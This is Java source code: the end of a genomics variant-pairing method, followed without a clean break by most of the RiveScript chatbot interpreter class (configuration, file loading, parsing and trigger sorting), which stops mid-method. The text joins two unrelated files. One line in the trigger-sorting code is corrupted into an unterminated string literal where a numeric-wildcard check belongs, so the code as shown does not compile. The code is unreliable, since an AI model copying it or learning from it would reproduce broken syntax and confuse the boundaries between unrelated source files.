String vcfId = mateStudyEntry.getFile(sampleEntry.getFileIndex()).getData().get(StudyEntry.VCF_ID);
mateVariantsMap.put(vcfId, mateVariant);
}
List<Variant> variantPairs = new ArrayList<>(variants.size() * 2);
for (Variant variant : variants) {
StudyEntry studyEntry = variant.getStudies().get(0);
FileEntry file = studyEntry.getFile(studyEntry.getSample(samplePosition).getFileIndex());
String mateid = file.getData().get("MATEID");
Variant mateVariant = mateVariantsMap.get(mateid);
if (mateVariant == null) {
throw new VariantQueryException("Unable to find mate of variant " + variant + " with MATEID=" + mateid);
}
// Check for duplicated pairs
if (validDiscardPair(filter, variant, mateVariant)) {
variantPairs.add(variant);
variantPairs.add(mateVariant);
}
}
return variantPairs;
}
private boolean validDiscardPair(Predicate<Variant> filter, Variant variant, Variant mateVariant) {
if (VariantDBIterator.VARIANT_COMPARATOR.compare(variant, mateVariant) > 0) {
// If the mate variant is "before" the main variant
// This pair might be discarded if the mate matches the given query
return !filter.test(variant);
}
return true;
}
}
|
package com.rivescript;
import com.rivescript.ast.ObjectMacro;
import com.rivescript.ast.Root;
import com.rivescript.ast.Topic;
import com.rivescript.ast.Trigger;
import com.rivescript.exception.DeepRecursionException;
import com.rivescript.exception.NoDefaultTopicException;
import com.rivescript.exception.RepliesNotSortedException;
import com.rivescript.exception.ReplyNotFoundException;
import com.rivescript.exception.ReplyNotMatchedException;
import com.rivescript.macro.ObjectHandler;
import com.rivescript.macro.Subroutine;
import com.rivescript.parser.Parser;
import com.rivescript.parser.ParserConfig;
import com.rivescript.parser.ParserException;
import com.rivescript.session.ConcurrentHashMapSessionManager;
import com.rivescript.session.History;
import com.rivescript.session.SessionManager;
import com.rivescript.session.ThawAction;
import com.rivescript.session.UserData;
import com.rivescript.sorting.SortBuffer;
import com.rivescript.sorting.SortTrack;
import com.rivescript.sorting.SortedTriggerEntry;
import com.rivescript.util.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FilenameFilter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import static com.rivescript.regexp.Regexp.RE_ANY_TAG;
import static com.rivescript.regexp.Regexp.RE_ARRAY;
import static com.rivescript.regexp.Regexp.RE_BOT_VAR;
import static com.rivescript.regexp.Regexp.RE_CALL;
import static com.rivescript.regexp.Regexp.RE_CONDITION;
import static com.rivescript.regexp.Regexp.RE_INHERITS;
import static com.rivescript.regexp.Regexp.RE_META;
import static com.rivescript.regexp.Regexp.RE_OPTIONAL;
import static com.rivescript.regexp.Regexp.RE_PLACEHOLDER;
import static com.rivescript.regexp.Regexp.RE_RANDOM;
import static com.rivescript.regexp.Regexp.RE_REDIRECT;
import static com.rivescript.regexp.Regexp.RE_SET;
import static com.rivescript.regexp.Regexp.RE_SYMBOLS;
import static com.rivescript.regexp.Regexp.RE_TOPIC;
import static com.rivescript.regexp.Regexp.RE_USER_VAR;
import static com.rivescript.regexp.Regexp.RE_WEIGHT;
import static com.rivescript.regexp.Regexp.RE_ZERO_WITH_STAR;
import static com.rivescript.session.SessionManager.HISTORY_SIZE;
import static com.rivescript.util.StringUtils.countWords;
import static com.rivescript.util.StringUtils.quoteMetacharacters;
import static com.rivescript.util.StringUtils.stripNasties;
import static java.util.Objects.requireNonNull;
/**
* A RiveScript interpreter written in Java.
* <p>
* Usage:
* <p>
* <pre>
* <code>
* import com.rivescript.Config;
* import com.rivescript.RiveScript;
*
* // Create a new bot with the default settings.
* RiveScript bot = new RiveScript();
*
* // To enable UTF-8 mode, you'd have initialized the bot like:
* RiveScript bot = new RiveScript(Config.utf8());
*
* // Load a directory full of RiveScript documents (.rive files)
* bot.loadDirectory("./replies");
*
* // Load an individual file.
* bot.LoadFile("./testsuite.rive");
*
* // Sort the replies after loading them!
* bot.sortReplies();
*
* // Get a reply.
* String reply = bot.reply("user", "Hello bot!");
* </code>
* </pre>
*
* @author Noah Petherbridge
* @author Marcel Overdijk
*/
public class RiveScript {
public static final String DEEP_RECURSION_KEY = "deepRecursion";
public static final String REPLIES_NOT_SORTED_KEY = "repliesNotSorted";
public static final String DEFAULT_TOPIC_NOT_FOUND_KEY = "defaultTopicNotFound";
public static final String REPLY_NOT_MATCHED_KEY = "replyNotMatched";
public static final String REPLY_NOT_FOUND_KEY = "replyNotFound";
public static final String OBJECT_NOT_FOUND_KEY = "objectNotFound";
public static final String CANNOT_DIVIDE_BY_ZERO_KEY = "cannotDivideByZero";
public static final String CANNOT_MATH_VARIABLE_KEY = "cannotMathVariable";
public static final String CANNOT_MATH_VALUE_KEY = "cannotMathValue";
public static final String DEFAULT_DEEP_RECURSION_MESSAGE = "ERR: Deep Recursion Detected";
public static final String DEFAULT_REPLIES_NOT_SORTED_MESSAGE = "ERR: Replies Not Sorted";
public static final String DEFAULT_DEFAULT_TOPIC_NOT_FOUND_MESSAGE = "ERR: No default topic 'random' was found";
public static final String DEFAULT_REPLY_NOT_MATCHED_MESSAGE = "ERR: No Reply Matched";
public static final String DEFAULT_REPLY_NOT_FOUND_MESSAGE = "ERR: No Reply Found";
public static final String DEFAULT_OBJECT_NOT_FOUND_MESSAGE = "[ERR: Object Not Found]";
public static final String DEFAULT_CANNOT_DIVIDE_BY_ZERO_MESSAGE = "[ERR: Can't Divide By Zero]";
public static final String DEFAULT_CANNOT_MATH_VARIABLE_MESSAGE = "[ERR: Can't perform math operation on non-numeric variable]";
public static final String DEFAULT_CANNOT_MATH_VALUE_MESSAGE = "[ERR: Can't perform math operation on non-numeric value]";
public static final String UNDEFINED = "undefined";
public static final String[] DEFAULT_FILE_EXTENSIONS = new String[] {".rive", ".rs"};
private static final Random RANDOM = new Random();
private static final String UNDEF_TAG = "<undef>";
private static Logger logger = LoggerFactory.getLogger(RiveScript.class);
private boolean throwExceptions;
private boolean strict;
private boolean utf8;
private boolean forceCase;
private int depth;
private Pattern unicodePunctuation;
private Map<String, String> errorMessages;
private Parser parser;
private Map<String, String> global; // 'global' variables
private Map<String, String> vars; // 'vars' bot variables
private Map<String, String> sub; // 'sub' substitutions
private Map<String, String> person; // 'person' substitutions
private Map<String, List<String>> array; // 'array' definitions
private SessionManager sessions; // user variable session manager
private Map<String, Map<String, Boolean>> includes; // included topics
private Map<String, Map<String, Boolean>> inherits; // inherited topics
private Map<String, String> objectLanguages; // object macro languages
private Map<String, ObjectHandler> handlers; // object language handlers
private Map<String, Subroutine> subroutines; // Java object handlers
private Map<String, Topic> topics; // main topic structure
private SortBuffer sorted; // Sorted data from sortReplies()
// State information.
private ThreadLocal<String> currentUser = new ThreadLocal<>();
/*-- Constructors --*/
/**
* Creates a new {@link RiveScript} interpreter.
*/
public RiveScript() {
this(null);
}
/**
* Creates a new {@link RiveScript} interpreter with the given {@link Config}.
*
* @param config the config
*/
public RiveScript(Config config) {
if (config == null) {
config = Config.basic();
}
this.throwExceptions = config.isThrowExceptions();
this.strict = config.isStrict();
this.utf8 = config.isUtf8();
this.forceCase = config.isForceCase();
this.depth = config.getDepth();
this.sessions = config.getSessionManager();
String unicodePunctuation = config.getUnicodePunctuation();
if (unicodePunctuation == null) {
unicodePunctuation = Config.DEFAULT_UNICODE_PUNCTUATION_PATTERN;
}
this.unicodePunctuation = Pattern.compile(unicodePunctuation);
this.errorMessages = new HashMap<>();
this.errorMessages.put(DEEP_RECURSION_KEY, DEFAULT_DEEP_RECURSION_MESSAGE);
this.errorMessages.put(REPLIES_NOT_SORTED_KEY, DEFAULT_REPLIES_NOT_SORTED_MESSAGE);
this.errorMessages.put(DEFAULT_TOPIC_NOT_FOUND_KEY, DEFAULT_DEFAULT_TOPIC_NOT_FOUND_MESSAGE);
this.errorMessages.put(REPLY_NOT_MATCHED_KEY, DEFAULT_REPLY_NOT_MATCHED_MESSAGE);
this.errorMessages.put(REPLY_NOT_FOUND_KEY, DEFAULT_REPLY_NOT_FOUND_MESSAGE);
this.errorMessages.put(OBJECT_NOT_FOUND_KEY, DEFAULT_OBJECT_NOT_FOUND_MESSAGE);
this.errorMessages.put(CANNOT_DIVIDE_BY_ZERO_KEY, DEFAULT_CANNOT_DIVIDE_BY_ZERO_MESSAGE);
this.errorMessages.put(CANNOT_MATH_VARIABLE_KEY, DEFAULT_CANNOT_MATH_VARIABLE_MESSAGE);
this.errorMessages.put(CANNOT_MATH_VALUE_KEY, DEFAULT_CANNOT_MATH_VALUE_MESSAGE);
if (config.getErrorMessages() != null) {
for (Map.Entry<String, String> entry : config.getErrorMessages().entrySet()) {
this.errorMessages.put(entry.getKey(), entry.getValue());
}
}
if (this.depth <= 0) {
this.depth = Config.DEFAULT_DEPTH;
logger.debug("No depth config: using default {}", Config.DEFAULT_DEPTH);
}
if (this.sessions == null) {
this.sessions = new ConcurrentHashMapSessionManager();
logger.debug("No SessionManager config: using default ConcurrentHashMapSessionManager");
}
// Initialize the parser.
this.parser = new Parser(ParserConfig.newBuilder()
.strict(this.strict)
.utf8(this.utf8)
.forceCase(this.forceCase)
.build());
// Initialize all the data structures.
this.global = new HashMap<>();
this.vars = new HashMap<>();
this.sub = new HashMap<>();
this.person = new HashMap<>();
this.array = new HashMap<>();
this.includes = new HashMap<>();
this.inherits = new HashMap<>();
this.objectLanguages = new HashMap<>();
this.handlers = new HashMap<>();
this.subroutines = new HashMap<>();
this.topics = new HashMap<>();
this.sorted = new SortBuffer();
}
/**
* Returns the RiveScript library version, or {@code null} if it cannot be determined.
*
* @return the version
* @see Package#getImplementationVersion()
*/
public static String getVersion() {
Package pkg = RiveScript.class.getPackage();
return (pkg != null ? pkg.getImplementationVersion() : null);
}
/*-- Configuration Methods --*/
/**
* Returns whether exception throwing is enabled.
*
* @return whether exception throwing is enabled
*/
public boolean isThrowExceptions() {
return throwExceptions;
}
/**
* Returns whether strict syntax checking is enabled.
*
* @return whether strict syntax checking is enabled
*/
public boolean isStrict() {
return strict;
}
/**
* Returns whether UTF-8 mode is enabled for user messages and triggers.
*
* @return whether UTF-8 mode is enabled for user messages and triggers
*/
public boolean isUtf8() {
return utf8;
}
/**
* Returns whether forcing triggers to lowercase is enabled.
*
* @return whether forcing triggers to lowercase is enabled
*/
public boolean isForceCase() {
return forceCase;
}
/**
* Returns the recursion depth limit.
*
* @return the recursion depth limit
*/
public int getDepth() {
return depth;
}
/**
* Returns the unicode punctuation pattern.
*
* @return the unicode punctuation pattern
*/
public String getUnicodePunctuation() {
return unicodePunctuation != null ? unicodePunctuation.toString() : null;
}
/**
* Returns the error messages (unmodifiable).
*
* @return the error messages
*/
public Map<String, String> getErrorMessages() {
return Collections.unmodifiableMap(errorMessages);
}
/**
* Sets a custom language handler for RiveScript object macros.
*
* @param name the name of the programming language
* @param handler the implementation
*/
public void setHandler(String name, ObjectHandler handler) {
handlers.put(name, handler);
}
/**
* Removes an object macro language handler.
*
* @param name the name of the programming language
*/
public void removeHandler(String name) {
// Purge all loaded objects for this handler.
Iterator<Map.Entry<String, String>> it = objectLanguages.entrySet().iterator();
while (it.hasNext()) {
Map.Entry<String, String> entry = it.next();
if (entry.getValue().equals(name)) {
it.remove();
}
}
// And delete the handler itself.
handlers.remove(name);
}
/**
* Returns the object macro language handlers (unmodifiable).
* .
* @return the object macro language handlers
*/
public Map<String, ObjectHandler> getHandlers() {
return Collections.unmodifiableMap(handlers);
}
/**
* Defines a Java object macro.
* <p>
* Because Java is a compiled language, this method must be used to create an object macro written in Java.
*
* @param name the name of the object macro for the `<call>` tag
* @param subroutine the subroutine
*/
public void setSubroutine(String name, Subroutine subroutine) {
subroutines.put(name, subroutine);
}
/**
* Removes a Java object macro.
*
* @param name the name of the object macro
*/
public void removeSubroutine(String name) {
subroutines.remove(name);
}
/**
* Returns the Java object macros (unmodifiable).
*
* @return the Java object macros
*/
public Map<String, Subroutine> getSubroutines() {
return Collections.unmodifiableMap(subroutines);
}
/**
* Sets a global variable.
* <p>
* This is equivalent to {@code ! global} in RiveScript. Set the value to {@code null} to delete a global.
*
* @param name the variable name
* @param value the variable value or {@code null}
*/
public void setGlobal(String name, String value) {
if (value == null) {
global.remove(name);
} else if (name.equals("depth")) {
try {
depth = Integer.parseInt(value);
} catch (NumberFormatException e) {
logger.warn("Can't set global 'depth' to '{}': {}", value, e.getMessage());
}
} else {
global.put(name, value);
}
}
/**
* Returns a global variable.
* <p>
* This is equivalent to {@code <env>} in RiveScript. Returns {@code null} if the variable isn't defined.
*
* @param name the variable name
* @return the variable value or {@code null}
*/
public String getGlobal(String name) {
if (name != null && name.equals("depth")) {
return Integer.toString(depth);
} else {
return global.get(name);
}
}
/**
* Sets a bot variable.
* <p>
* This is equivalent to {@code ! vars} in RiveScript. Set the value to {@code null} to delete a bot variable.
*
* @param name the variable name
* @param value the variable value or {@code null}
*/
public void setVariable(String name, String value) {
if (value == null) {
vars.remove(name);
} else {
vars.put(name, value);
}
}
/**
* Returns a bot variable.
* <p>
* This is equivalent to {@code <bot>} in RiveScript. Returns {@code null} if the variable isn't defined.
*
* @param name the variable name
* @return the variable value or {@code null}
*/
public String getVariable(String name) {
return vars.get(name);
}
/**
* Returns all bot variables.
*
* @return the variable map
*/
public Map<String, String> getVariables() {
return vars;
}
/**
* Sets a substitution pattern.
* <p>
* This is equivalent to {@code ! sub} in RiveScript. Set the value to {@code null} to delete a substitution.
*
* @param name the substitution name
* @param value the substitution pattern or {@code null}
*/
public void setSubstitution(String name, String value) {
if (value == null) {
sub.remove(name);
} else {
sub.put(name, value);
}
}
/**
* Returns a substitution pattern.
* <p>
* Returns {@code null} if the substitution isn't defined.
*
* @param name the substitution name
* @return the substitution pattern or {@code null}
*/
public String getSubstitution(String name) {
return sub.get(name);
}
/**
* Sets a person substitution pattern.
* <p>
* This is equivalent to {@code ! person} in RiveScript. Set the value to {@code null} to delete a person substitution.
*
* @param name the person substitution name
* @param value the person substitution pattern or {@code null}
*/
public void setPerson(String name, String value) {
if (value == null) {
person.remove(name);
} else {
person.put(name, value);
}
}
/**
* Returns a person substitution pattern.
* <p>
* This is equivalent to {@code <person>} in RiveScript. Returns {@code null} if the person substitution isn't defined.
*
* @param name the person substitution name
* @return the person substitution pattern or {@code null}
*/
public String getPerson(String name) {
return person.get(name);
}
/**
* Checks whether deep recursion is detected.
* <p>
* Throws a {@link DeepRecursionException} in case exception throwing is enabled, otherwise logs a warning.
*
* @param depth the recursion depth counter
* @param message the message to log
* @return whether deep recursion is detected
* @throws DeepRecursionException in case deep recursion is detected and exception throwing is enabled
*/
private boolean checkDeepRecursion(int depth, String message) throws DeepRecursionException {
if (depth > this.depth) {
logger.warn(message);
if (throwExceptions) {
throw new DeepRecursionException(message);
}
return true;
}
return false;
}
/*-- Loading Methods --*/
/**
* Loads a single RiveScript document from disk.
*
* @param file the RiveScript file
* @throws RiveScriptException in case of a loading error
* @throws ParserException in case of a parsing error
*/
public void loadFile(File file) throws RiveScriptException, ParserException {
requireNonNull(file, "'file' must not be null");
logger.debug("Loading RiveScript file: {}", file);
// Run some sanity checks on the file.
if (!file.exists()) {
throw new RiveScriptException("File '" + file + "' not found");
} else if (!file.isFile()) {
throw new RiveScriptException("File '" + file + "' is not a regular file");
} else if (!file.canRead()) {
throw new RiveScriptException("File '" + file + "' cannot be read");
}
List<String> code = new ArrayList<>();
// Slurp the file's contents.
try (BufferedReader br = new BufferedReader(new FileReader(file))) {
String line;
while ((line = br.readLine()) != null) {
code.add(line);
}
} catch (IOException e) {
throw new RiveScriptException("Error reading file '" + file + "'", e);
}
parse(file.toString(), code.toArray(new String[0]));
}
/**
* Loads a single RiveScript document from disk.
*
* @param path the path to the RiveScript document
* @throws RiveScriptException in case of a loading error
* @throws ParserException in case of a parsing error
*/
public void loadFile(String path) throws RiveScriptException, ParserException {
requireNonNull(path, "'path' must not be null");
loadFile(new File(path));
}
/**
* Loads multiple RiveScript documents from a directory on disk.
*
* @param directory the directory containing the RiveScript documents
* @throws RiveScriptException in case of a loading error
* @throws ParserException in case of a parsing error
*/
public void loadDirectory(File directory, String... extensions) throws RiveScriptException, ParserException {
requireNonNull(directory, "'directory' must not be null");
logger.debug("Loading RiveScript files from directory: {}", directory);
if (extensions.length == 0) {
extensions = DEFAULT_FILE_EXTENSIONS;
}
final String[] exts = extensions;
// Run some sanity checks on the directory.
if (!directory.exists()) {
throw new RiveScriptException("Directory '" + directory + "' not found");
} else if (!directory.isDirectory()) {
throw new RiveScriptException("Directory '" + directory + "' is not a directory");
}
// Search for the files.
File[] files = directory.listFiles(new FilenameFilter() {
@Override
public boolean accept(File dir, String name) {
for (String ext : exts) {
if (name.endsWith(ext)) {
return true;
}
}
return false;
}
});
// No results?
if (files.length == 0) {
logger.warn("No files found in directory: {}", directory);
}
// Parse each file.
for (File file : files) {
loadFile(file);
}
}
/**
* Loads multiple RiveScript documents from a directory on disk.
*
* @param path The path to the directory containing the RiveScript documents
* @throws RiveScriptException in case of a loading error
* @throws ParserException in case of a parsing error
*/
public void loadDirectory(String path, String... extensions) throws RiveScriptException, ParserException {
requireNonNull(path, "'path' must not be null");
loadDirectory(new File(path), extensions);
}
/**
* Loads RiveScript source code from a text buffer, with line breaks after each line.
*
* @param code the RiveScript source code
* @throws ParserException in case of a parsing error
*/
public void stream(String code) throws ParserException {
String[] lines = code.split("\n");
stream(lines);
}
/**
* Loads RiveScript source code from a {@link String} array, one line per item.
*
* @param code the lines of RiveScript source code
* @throws ParserException in case of a parsing error
*/
public void stream(String[] code) throws ParserException {
parse("stream()", code);
}
/*-- Parsing Methods --*/
/**
* Parses the RiveScript source code into the bot's memory.
*
* @param filename the arbitrary name for the source code being parsed
* @param code the lines of RiveScript source code
* @throws ParserException in case of a parsing error
*/
private void parse(String filename, String[] code) throws ParserException {
// Get the abstract syntax tree of this file.
Root ast = this.parser.parse(filename, code);
// Get all of the "begin" type variables.
for (Map.Entry<String, String> entry : ast.getBegin().getGlobal().entrySet()) {
if (entry.getValue().equals(UNDEF_TAG)) {
this.global.remove(entry.getKey());
} else {
this.global.put(entry.getKey(), entry.getValue());
}
}
for (Map.Entry<String, String> entry : ast.getBegin().getVar().entrySet()) {
if (entry.getValue().equals(UNDEF_TAG)) {
this.vars.remove(entry.getKey());
} else {
this.vars.put(entry.getKey(), entry.getValue());
}
}
for (Map.Entry<String, String> entry : ast.getBegin().getSub().entrySet()) {
if (entry.getValue().equals(UNDEF_TAG)) {
this.sub.remove(entry.getKey());
} else {
this.sub.put(entry.getKey(), entry.getValue());
}
}
for (Map.Entry<String, String> entry : ast.getBegin().getPerson().entrySet()) {
if (entry.getValue().equals(UNDEF_TAG)) {
this.person.remove(entry.getKey());
} else {
this.person.put(entry.getKey(), entry.getValue());
}
}
for (Map.Entry<String, List<String>> entry : ast.getBegin().getArray().entrySet()) {
if (entry.getValue().equals(UNDEF_TAG)) {
this.array.remove(entry.getKey());
} else {
this.array.put(entry.getKey(), entry.getValue());
}
}
// Consume all the parsed triggers.
for (Map.Entry<String, Topic> entry : ast.getTopics().entrySet()) {
String topic = entry.getKey();
Topic data = entry.getValue();
// Keep a map of the topics that are included/inherited under this topic.
if (!this.includes.containsKey(topic)) {
this.includes.put(topic, new HashMap<String, Boolean>());
}
if (!this.inherits.containsKey(topic)) {
this.inherits.put(topic, new HashMap<String, Boolean>());
}
// Merge in the topic inclusions/inherits.
for (String included : data.getIncludes().keySet()) {
this.includes.get(topic).put(included, true);
}
for (String inherited : data.getInherits().keySet()) {
this.inherits.get(topic).put(inherited, true);
}
// Initialize the topic structure.
if (!this.topics.containsKey(topic)) {
this.topics.put(topic, new Topic());
}
// Consume the AST triggers into the brain.
for (Trigger astTrigger : data.getTriggers()) {
// Convert this AST trigger into an internal trigger.
Trigger trigger = new Trigger();
trigger.setTrigger(astTrigger.getTrigger());
trigger.setReply(new ArrayList<>(astTrigger.getReply()));
trigger.setCondition(new ArrayList<>(astTrigger.getCondition()));
trigger.setRedirect(astTrigger.getRedirect());
trigger.setPrevious(astTrigger.getPrevious());
this.topics.get(topic).addTrigger(trigger);
}
}
// Load all the parsed objects.
for (ObjectMacro object : ast.getObjects()) {
// Have a language handler for this?
if (this.handlers.containsKey(object.getLanguage())) {
this.handlers.get(object.getLanguage()).load(this, object.getName(), object.getCode().toArray(new String[0]));
this.objectLanguages.put(object.getName(), object.getLanguage());
} else {
logger.warn("Object '{}' not loaded as no handler was found for programming language '{}'", object.getName(),
object.getLanguage());
}
}
}
/*-- Sorting Methods --*/
/**
* Sorts the reply structures in memory for optimal matching.
* <p>
* After finishing loading the RiveScript code, this method needs to be called to populate the various sort buffers.
* This is absolutely necessary for reply matching to work efficiently!
*/
public void sortReplies() {
// (Re)initialize the sort cache.
this.sorted.getTopics().clear();
this.sorted.getThats().clear();
logger.debug("Sorting triggers...");
// Loop through all the topics.
for (String topic : this.topics.keySet()) {
logger.debug("Analyzing topic {}", topic);
// Collect a list of all the triggers we're going to worry about.
// If this topic inherits another topic, we need to recursively add those to the list as well.
List<SortedTriggerEntry> allTriggers = getTopicTriggers(topic, false, 0, 0, false);
// Sort these triggers.
this.sorted.addTopic(topic, sortTriggerSet(allTriggers, true));
// Get all of the %Previous triggers for this topic.
List<SortedTriggerEntry> thatTriggers = getTopicTriggers(topic, true, 0, 0, false);
// And sort them, too.
this.sorted.addThats(topic, sortTriggerSet(thatTriggers, false));
}
// Sort the substitution lists.
this.sorted.setSub(sortList(this.sub.keySet()));
this.sorted.setPerson(sortList(this.person.keySet()));
}
/**
* Recursively scans topics and collects triggers therein.
* <p>
* This method scans through a topic and collects its triggers, along with the triggers belonging to any topic that's inherited by or
* included by the parent topic. Some triggers will come out with an {@code {inherits}} tag to signify inheritance depth.
* <p>
* Keep in mind here that there is a difference between 'includes' and 'inherits' -- topics that inherit other topics are able to
* OVERRIDE triggers that appear in the inherited topic. This means that if the top topic has a trigger of simply {@code *}, then NO
* triggers are capable of matching in ANY inherited topic, because even though {@code *} has the lowest priority, it has an automatic
* priority over all inherited topics.
* <p>
* The {@link #getTopicTriggers(String, boolean, int, int, boolean)} method takes this into account. All topics that inherit other
* topics will have their triggers prefixed with a fictional {@code {inherits}} tag, which would start at {@code {inherits=0}} and
* increment if this topic has other inheriting topics. So we can use this tag to make sure topics that inherit things will have their
* triggers always be on top of the stack, from {@code inherits=0} to {@code inherits=n}.
* <p>
* Important info about the {@code depth} vs. {@code inheritance} params to this function:
* {@code depth} increments by 1 each time this method recursively calls itself. {@code inheritance} increments by 1 only when this
* topic inherits another topic.
* <p>
* This way, {@code > topic alpha includes beta inherits gamma} will have this effect:
* alpha and beta's triggers are combined together into one matching pool, and then those triggers have higher priority than gamma's.
* <p>
* The {@code inherited} option is {@code true} if this is a recursive call, from a topic that inherits other topics. This forces the
* {@code {inherits}} tag to be added to the triggers. This only applies when the top topic 'includes' another topic.
*
* @param topic the name of the topic to scan through
* @param thats indicates to get replies with {@code %Previous} or not
* @param depth the recursion depth counter
* @param inheritance the inheritance counter
* @param inherited the inherited status
* @return the list of triggers
*/
private List<SortedTriggerEntry> getTopicTriggers(String topic, boolean thats, int depth, int inheritance, boolean inherited) {
// Break if we're in too deep.
if (checkDeepRecursion(depth, "Deep recursion while scanning topic inheritance!")) {
return new ArrayList<>();
}
logger.debug("Collecting trigger list for topic {} (depth={}; inheritance={}; inherited={})", topic, depth, inheritance, inherited);
// Collect an array of triggers to return.
List<SortedTriggerEntry> triggers = new ArrayList<>();
// Get those that exist in this topic directly.
List<SortedTriggerEntry> inThisTopic = new ArrayList<>();
if (this.topics.containsKey(topic)) {
for (Trigger trigger : this.topics.get(topic).getTriggers()) {
if (!thats) {
// All triggers.
SortedTriggerEntry entry = new SortedTriggerEntry(trigger.getTrigger(), trigger);
inThisTopic.add(entry);
} else {
// Only triggers that have %Previous.
if (trigger.getPrevious() != null) {
SortedTriggerEntry entry = new SortedTriggerEntry(trigger.getPrevious(), trigger);
inThisTopic.add(entry);
}
}
}
}
// Does this topic include others?
if (this.includes.containsKey(topic)) {
for (String includes : this.includes.get(topic).keySet()) {
logger.debug("Topic {} includes {}", topic, includes);
triggers.addAll(getTopicTriggers(includes, thats, depth + 1, inheritance + 1, false));
}
}
// Does this topic inherit others?
if (this.inherits.containsKey(topic)) {
for (String inherits : this.inherits.get(topic).keySet()) {
logger.debug("Topic {} inherits {}", topic, inherits);
triggers.addAll(getTopicTriggers(inherits, thats, depth + 1, inheritance + 1, true));
}
}
// Collect the triggers for *this* topic. If this topic inherits any other topics, it means that this topic's triggers have higher
// priority than those in any inherited topics. Enforce this with an {inherits} tag.
if ((this.inherits.containsKey(topic) && this.inherits.get(topic).size() > 0) || inherited) {
for (SortedTriggerEntry trigger : inThisTopic) {
logger.debug("Prefixing trigger with {inherits={}} {}", inheritance, trigger.getTrigger());
String label = String.format("{inherits=%d}%s", inheritance, trigger.getTrigger());
triggers.add(new SortedTriggerEntry(label, trigger.getPointer()));
}
} else {
for (SortedTriggerEntry trigger : inThisTopic) {
triggers.add(new SortedTriggerEntry(trigger.getTrigger(), trigger.getPointer()));
}
}
return triggers;
}
/**
* Sorts a group of triggers in an optimal sorting order.
* <p>
* This function has two use cases:
* <p>
* <ol>
* <li>Create a sort buffer for "normal" (matchable) triggers, which are triggers that are NOT accompanied by a {@code %Previous} tag.
* <li>Create a sort buffer for triggers that had {@code %Previous} tags.
* </ol>
* <p>
* Use the {@code excludePrevious} parameter to control which one is being done.
* This function will return a list of {@link SortedTriggerEntry} items, and it's intended to have no duplicate trigger patterns
* (unless the source RiveScript code explicitly uses the same duplicate pattern twice, which is a user error).
*
* @param triggers the triggers to sort
* @param excludePrevious indicates to exclude triggers with {@code %Previous} or not
* @return the sorted triggers
*/
private List<SortedTriggerEntry> sortTriggerSet(List<SortedTriggerEntry> triggers, boolean excludePrevious) {
// Create a priority map, of priority numbers -> their triggers.
Map<Integer, List<SortedTriggerEntry>> priority = new HashMap<>();
// Go through and bucket each trigger by weight (priority).
for (SortedTriggerEntry trigger : triggers) {
if (excludePrevious && trigger.getPointer().getPrevious() != null) {
continue;
}
// Check the trigger text for any {weight} tags, default being 0.
int weight = 0;
Matcher matcher = RE_WEIGHT.matcher(trigger.getTrigger());
if (matcher.find()) {
weight = Integer.parseInt(matcher.group(1));
}
// First trigger of this priority? Initialize the weight map.
if (!priority.containsKey(weight)) {
priority.put(weight, new ArrayList<SortedTriggerEntry>());
}
priority.get(weight).add(trigger);
}
// Keep a running list of sorted triggers for this topic.
List<SortedTriggerEntry> running = new ArrayList<>();
// Sort the priorities with the highest number first.
List<Integer> sortedPriorities = new ArrayList<>();
for (Integer k : priority.keySet()) {
sortedPriorities.add(k);
}
Collections.sort(sortedPriorities);
Collections.reverse(sortedPriorities);
// Go through each priority set.
for (Integer p : sortedPriorities) {
logger.debug("Sorting triggers with priority {}", p);
// So, some of these triggers may include an {inherits} tag, if they came from a topic which inherits another topic.
// Lower inherits values mean higher priority on the stack.
// Triggers that have NO inherits value at all (which will default to -1),
// will be moved to the END of the stack at the end (have the highest number/lowest priority).
int inherits = -1; // -1 means no {inherits} tag
int highestInherits = -1; // Highest number seen so far
// Loop through and categorize these triggers.
Map<Integer, SortTrack> track = new HashMap<>();
track.put(inherits, new SortTrack());
// Loop through all the triggers.
for (SortedTriggerEntry trigger : priority.get(p)) {
String pattern = trigger.getTrigger();
logger.debug("Looking at trigger: {}", pattern);
// See if the trigger has an {inherits} tag.
Matcher matcher = RE_INHERITS.matcher(pattern);
if (matcher.find()) {
inherits = Integer.parseInt(matcher.group(1));
if (inherits > highestInherits) {
highestInherits = inherits;
}
logger.debug("Trigger belongs to a topic that inherits other topics. Level={}", inherits);
pattern = pattern.replaceAll("\\{inherits=\\d+\\}", "");
trigger.setTrigger(pattern);
} else {
inherits = -1;
}
// If this is the first time we've seen this inheritance level, initialize its sort track structure.
if (!track.containsKey(inherits)) {
track.put(inherits, new SortTrack());
}
// Start inspecting the trigger's contents.
if (pattern.contains("_")) {
// Alphabetic wildcard included.
int count = countWords(pattern, false);
logger.debug("Has a _ wildcard with {} words", count);
if (count > 0) {
if (!track.get(inherits).getAlpha().containsKey(count)) {
track.get(inherits).getAlpha().put(count, new ArrayList<SortedTriggerEntry>());
}
track.get(inherits).getAlpha().get(count).add(trigger);
} else {
track.get(inherits).getUnder().add(trigger);
}
} else if (pattern.contains("
// Numeric wildcard included.
int count = countWords(pattern, false);
logger.debug("Has a # wildcard with {} words", count);
if (count > 0) {
if (!track.get(inherits).getNumber().containsKey(count)) {
track.get(inherits).getNumber().put(count, new ArrayList<SortedTriggerEntry>());
}
track.get(inherits).getNumber().get(count).add(trigger);
} else {
track.get(inherits).getPound().add(trigger);
}
} else if (pattern.contains("*")) {
// Wildcard included.
int count = countWords(pattern, false);
logger.debug("Has a * wildcard with {} words", count);
if (count > 0) {
if (!track.get(inherits).getWild().containsKey(count)) {
track.get(inherits).getWild().put(count, new ArrayList<SortedTriggerEntry>());
}
track.get(inherits).getWild().get(count).add(trigger);
} else {
track.get(inherits).getStar().add(trigger);
}
} else if (pattern.contains("[")) {
// Optionals included.
int count = countWords(pattern, false);
logger.debug("Has optionals with {} words", count);
if (!track.get(inherits).getOption().containsKey(count)) {
track.get(inherits).getOption().put(count, new ArrayList<SortedTriggerEntry>());
}
track.get(inherits).getOption().get(count).add(trigger);
} else {
// Totally atomic.
int count = countWords(pattern, false);
logger.debug("Totally atomic trigger with {} words", count);
if (!track.get(inherits).getAtomic().containsKey(count)) {
track.get(inherits).getAtomic().put(count, new ArrayList<SortedTriggerEntry>());
}
track.get(inherits).getAtomic().get(count).add(trigger);
}
}
